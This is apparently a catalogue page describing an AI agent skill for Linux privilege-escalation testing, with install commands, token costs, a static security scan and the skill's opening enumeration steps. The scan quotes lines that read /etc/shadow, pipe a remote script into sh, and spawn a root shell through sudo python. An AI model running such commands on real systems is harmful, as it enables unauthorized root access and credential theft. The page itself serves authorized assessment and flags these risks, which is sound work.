linux-privilege-escalation

A guide for testing whether a low-privilege account on a Linux computer can gain higher privileges, such as root access. It examines system settings, permissions, scheduled jobs, services, and known weaknesses.

In plain words
What is it for?
Use it during authorized Linux security assessments to enumerate and test privilege-escalation paths.
Why use it?
It organizes the search for configuration and software problems that could let an ordinary account take control of more of the system.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/zebbern/claude-code-guide/linux-privilege-escalation
Any agent
npx skills add zebbern/claude-code-guide --skill linux-privilege-escalation
Clone the repo
git clone --depth 1 https://github.com/zebbern/claude-code-guide

Made for: Claude Code, Codex.

Per session 96 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,258 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 5 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00096 $0.03258
Opus 5 $0.00048 $0.01629
Sonnet 5 $0.00019 $0.00652
Haiku 4.5 $0.00010 $0.00326

Measured 3d ago against content hash 1a4900108960, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

linux-privilege-escalation scanned grade C with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root a

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

LFILE=/etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

sudo python -c 'import os; os.system("/bin/bash")'
skills/linux-privilege-escalation/SKILL.md · 505 lines

How it starts

The opening of the file, as written. The whole thing — 505 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Linux Privilege Escalation

Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

Inputs / Prerequisites

Required Access

  • Low-privilege shell access to target Linux system
  • Ability to execute commands (interactive or semi-interactive shell)
  • Network access for reverse shell connections (if needed)
  • Attacker machine for payload hosting and receiving shells

Technical Requirements

  • Understanding of Linux filesystem permissions and ownership
  • Familiarity with common Linux utilities and scripting
  • Knowledge of kernel versions and associated vulnerabilities
  • Basic understanding of compilation (gcc) for custom exploits

Recommended Tools

  • LinPEAS, LinEnum, or Linux Smart Enumeration scripts
  • Linux Exploit Suggester (LES)
  • GTFOBins reference for binary exploitation
  • John the Ripper or Hashcat for password cracking
  • Netcat or similar for reverse shells

Outputs / Deliverables

Primary Outputs

  • Root shell access on target system
  • Privilege escalation path documentation
  • System enumeration findings report
  • Recommendations for remediation

Evidence Artifacts

  • Screenshots of successful privilege escalation
  • Command output logs demonstrating root access
  • Identified vulnerability details
  • Exploited configuration files

Core Workflow

Phase 1: System Enumeration

Basic System Information

Gather fundamental system details for vulnerability research:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

Read the full file on GitHub · 505 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 505 lines · 96 tokens per session scan C 1a4900108960

Subscribe to this mod's changes

linux-privilege-escalation is a skill published in the GitHub repository zebbern/claude-code-guide (4,597 stars, last pushed yesterday), licensed MIT. It adds 96 tokens to every session and 3,258 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 5 findings (asks for root, reaches for credential files, downloads and executes remote code). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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